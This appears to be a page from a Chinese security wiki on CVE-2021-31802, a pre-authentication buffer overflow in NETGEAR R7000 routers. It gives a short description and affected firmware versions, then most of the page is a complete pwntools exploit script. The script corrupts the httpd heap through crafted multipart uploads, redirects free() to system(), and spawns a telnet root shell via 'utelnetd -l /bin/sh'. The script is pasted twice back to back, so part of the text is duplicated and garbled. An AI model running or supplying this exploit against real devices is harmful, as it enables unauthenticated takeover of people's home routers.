menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right Vulnerability-棱角社区(Vulnerability)项目漏洞-20210715 chevron_right NETGEAR R7000 缓冲区溢出漏洞(CVE-2021-31802).md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    NETGEAR R7000 缓冲区溢出漏洞(CVE-2021-31802).md
    10.42 KB / 2021-05-21 09:14:38
        # NETGEAR R7000 缓冲区溢出漏洞(CVE-2021-31802)
    
    
    漏洞使邻近网络的攻击者可以在受影响的NETGEAR R7000路由器安装上执行任意代码。利用此漏洞不需要身份验证。
    
    影响版本:
    
    运行固件版本1.0.11.116及更低版本的Netgear Nighthawk R7000
    
    详情分析:https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r7000-httpd-preauth-rce/
    
    exploit.py:
    
    ```py
    # coding: utf-8
    from pwn import *
    import copy
    import sys
    
    def post_request(path, headers, files):
        r = remote(rhost, rport)
        request = 'POST %s HTTP/1.1' % path
        request += '\r\n'
        request += '\r\n'.join(headers)
        request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
        post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
        post_data += files['filecontent']
        request += 'Content-Length: %i\r\n\r\n' % len(post_data)
        request += post_data
        r.send(request)
        sleep(0.5)
        r.close()
    
    def gen_request(path, headers, files):
        request = 'POST %s HTTP/1.1' % path
        request += '\r\n'
        request += '\r\n'.join(headers)
        request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
        post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Dasposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
        post_data += files['filecontent']
        request += 'Content-Length: %i\r\n\r\n' % len(post_data)
        request += post_data
        return request
    
    def make_filename(chunk_size):
        return 'a' * (0x1d7 - chunk_size)
    
    def send_payload(file_name_len,files):
    
        total_payload = 'a'*(609 + 1024 * 58)
    
    
        path = '/cgi-bin/genie.cgi?backup.cgi\nContent-Length: 4156559'
        headers = ['Host: %s:%s' % (rhost, rport), 'Content-Disposition: form-data','a'*0x200 + ': anynomous']
    
        f = copy.deepcopy(files)
        f['filename'] = make_filename(file_name_len)
        valid_payload = gen_request(path, headers, f)
        vaild_len = len(valid_payload)
        total_len = 609 + 1024 * 58
        blind_payload_len = total_len - vaild_len
        blind_payload = 'a' * blind_payload_len
        total_payload = blind_payload + valid_payload
    
        t1 = 0
        t2 = 0
        for i in range(0,58):
            t1 = int(i * 1024)
            t2 = int((i+1)*1024 )
            chunk = total_payload[t1:t2]
        
        last_chunk = total_payload[t2:]
        # print(last_chunk)
            
    
        r = remote(rhost, rport)
        r.send(total_payload)
        sleep(0.5)
        r.close()
    
    def execute():
        
        headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': anynomous']
    
        files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
        send_payload(0x18,files)       
    
        files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
        send_payload(0x20,files)        
    
    
        files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
        files['filecontent'] = 'a' * 0x18 + p32(0x3c0) + p32(0x28)
        send_payload(0x18,files)     
    
    
        f = copy.deepcopy(files)
        f['name'] = 'StringFilepload'
        f['filename'] = 'a' * 0x100
        f['filecontent'] = p32(0x3a0).ljust(0x10) + 'a'* 0x39c + p32(0x9)  
        post_request('/genierestore.cgi', headers, f)   
       
        files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
        send_payload(0x18,files)  
    
    
        f = copy.deepcopy(files)   
        f['name'] = 'StringFilepload'
        f['filename'] = 'a' * 0x100
        f['filecontent'] = p32(0x20).ljust(0x10) + 'a'
        post_request('/genierestore.cgi', headers, f)   
    
    
        magic_size =  0x48
    
        f = copy.deepcopy(files)
        f['name'] = 'StringFilepload'
        f['filename'] = 'a' * 0x100
        f['filecontent'] = p32(magic_size).ljust(0x10) + 'a'
        post_request('/genierestore.cgi', headers, f)   
    
       
        free_got_addr = 0x00120920
        files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
        files['filecontent'] = 'a' * 0x24 + p32(magic_size+ 8 + 1) + p32(free_got_addr - magic_size)
        send_payload(0x20,files)   
       
    
        files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
        send_payload(magic_size,files)   
    
        system_addr_plt = 0x0000E804
        command = 'utelnetd -l /bin/sh'
        f = copy.deepcopy(files)
        f['name'] = 'StringFilepload'
        f['filename'] = 'a' * 0x100
        f['filecontent'] = p32(magic_size).ljust(0x10) + command.ljust(magic_size-8, '\x00') + p32(system_addr_plt)
        post_request('/genierestore.cgi', headers, f) 
    
    
    
    def send_request():
        r = remote(rhost, rport)
    
        login_request='''\
    GET / HTTP/1.1\r
    Host: %s\r
    Cache-Control: max-age=0\r
    Authorization: Basic MToxMjM0NTY3ODEyMzEyMw==\r
    Upgrade-Insecure-Requests: 1\r
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\r
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r
    Accept-Encoding: gzip, deflate\r
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8\r
    Cookie: XSRF_TOKEN=1222440606\r
    Connection: close\r
    \r
    '''% rhost
    
        r.send(login_request)
        a = r.recv(0x1000)
        # print a
        r.close()
        return a
    if __name__ == '__main__':
        context.log_level = 'error'
    
        if (len(sys.argv) < 3):
            print( 'Usage: %s <rhost> <rport>' % sys.argv[0])
            exit()
        rhost = sys.argv[1]
        rport = sys.argv[2]
    
        while True:
            ret = send_request()
            firstline = ret.split('\n')[0]
            if firstline.find('200') != -1:
                break
    
        execute()# coding: utf-8
    from pwn import *
    import copy
    import sys
    
    def post_request(path, headers, files):
        r = remote(rhost, rport)
        request = 'POST %s HTTP/1.1' % path
        request += '\r\n'
        request += '\r\n'.join(headers)
        request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
        post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
        post_data += files['filecontent']
        request += 'Content-Length: %i\r\n\r\n' % len(post_data)
        request += post_data
        r.send(request)
        sleep(0.5)
        r.close()
    
    def gen_request(path, headers, files):
        request = 'POST %s HTTP/1.1' % path
        request += '\r\n'
        request += '\r\n'.join(headers)
        request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
        post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Dasposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
        post_data += files['filecontent']
        request += 'Content-Length: %i\r\n\r\n' % len(post_data)
        request += post_data
        return request
    
    def make_filename(chunk_size):
        return 'a' * (0x1d7 - chunk_size)
    
    def send_payload(file_name_len,files):
    
        total_payload = 'a'*(609 + 1024 * 58)
    
    
        path = '/cgi-bin/genie.cgi?backup.cgi\nContent-Length: 4156559'
        headers = ['Host: %s:%s' % (rhost, rport), 'Content-Disposition: form-data','a'*0x200 + ': anynomous']
    
        f = copy.deepcopy(files)
        f['filename'] = make_filename(file_name_len)
        valid_payload = gen_request(path, headers, f)
        vaild_len = len(valid_payload)
        total_len = 609 + 1024 * 58
        blind_payload_len = total_len - vaild_len
        blind_payload = 'a' * blind_payload_len
        total_payload = blind_payload + valid_payload
    
        t1 = 0
        t2 = 0
        for i in range(0,58):
            t1 = int(i * 1024)
            t2 = int((i+1)*1024 )
            chunk = total_payload[t1:t2]
        
        last_chunk = total_payload[t2:]
        # print(last_chunk)
            
    
        r = remote(rhost, rport)
        r.send(total_payload)
        sleep(0.5)
        r.close()
    
    def execute():
        
        headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': anynomous']
    
        files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
        send_payload(0x18,files)       
    
        files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
        send_payload(0x20,files)        
    
    
        files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
        files['filecontent'] = 'a' * 0x18 + p32(0x3c0) + p32(0x28)
        send_payload(0x18,files)     
    
    
        f = copy.deepcopy(files)
        f['name'] = 'StringFilepload'
        f['filename'] = 'a' * 0x100
        f['filecontent'] = p32(0x3a0).ljust(0x10) + 'a'* 0x39c + p32(0x9)  
        post_request('/genierestore.cgi', headers, f)   
       
        files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
        send_payload(0x18,files)  
    
    
        f = copy.deepcopy(files)   
        f['name'] = 'StringFilepload'
        f['filename'] = 'a' * 0x100
        f['filecontent'] = p32(0x20).ljust(0x10) + 'a'
        post_request('/genierestore.cgi', headers, f)   
    
    
        magic_size =  0x48
    
        f = copy.deepcopy(files)
        f['name'] = 'StringFilepload'
        f['filename'] = 'a' * 0x100
        f['filecontent'] = p32(magic_size).ljust(0x10) + 'a'
        post_request('/genierestore.cgi', headers, f)   
    
       
        free_got_addr = 0x00120920
        files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
        files['filecontent'] = 'a' * 0x24 + p32(magic_size+ 8 + 1) + p32(free_got_addr - magic_size)
        send_payload(0x20,files)   
       
    
        files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
        send_payload(magic_size,files)   
    
        system_addr_plt = 0x0000E804
        command = 'utelnetd -l /bin/sh'
        f = copy.deepcopy(files)
        f['name'] = 'StringFilepload'
        f['filename'] = 'a' * 0x100
        f['filecontent'] = p32(magic_size).ljust(0x10) + command.ljust(magic_size-8, '\x00') + p32(system_addr_plt)
        post_request('/genierestore.cgi', headers, f) 
    
    
    
    def send_request():
        r = remote(rhost, rport)
    
        login_request='''\
    GET / HTTP/1.1\r
    Host: %s\r
    Cache-Control: max-age=0\r
    Authorization: Basic MToxMjM0NTY3ODEyMzEyMw==\r
    Upgrade-Insecure-Requests: 1\r
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\r
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r
    Accept-Encoding: gzip, deflate\r
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8\r
    Cookie: XSRF_TOKEN=1222440606\r
    Connection: close\r
    \r
    '''% rhost
    
        r.send(login_request)
        a = r.recv(0x1000)
        # print a
        r.close()
        return a
    if __name__ == '__main__':
        context.log_level = 'error'
    
        if (len(sys.argv) < 3):
            print( 'Usage: %s <rhost> <rport>' % sys.argv[0])
            exit()
        rhost = sys.argv[1]
        rport = sys.argv[2]
    
        while True:
            ret = send_request()
            firstline = ret.split('\n')[0]
            if firstline.find('200') != -1:
                break
    
        execute()
        print('router is exploited!!!')
    
        print('router is exploited!!!')
    ```
    
    links
    file_download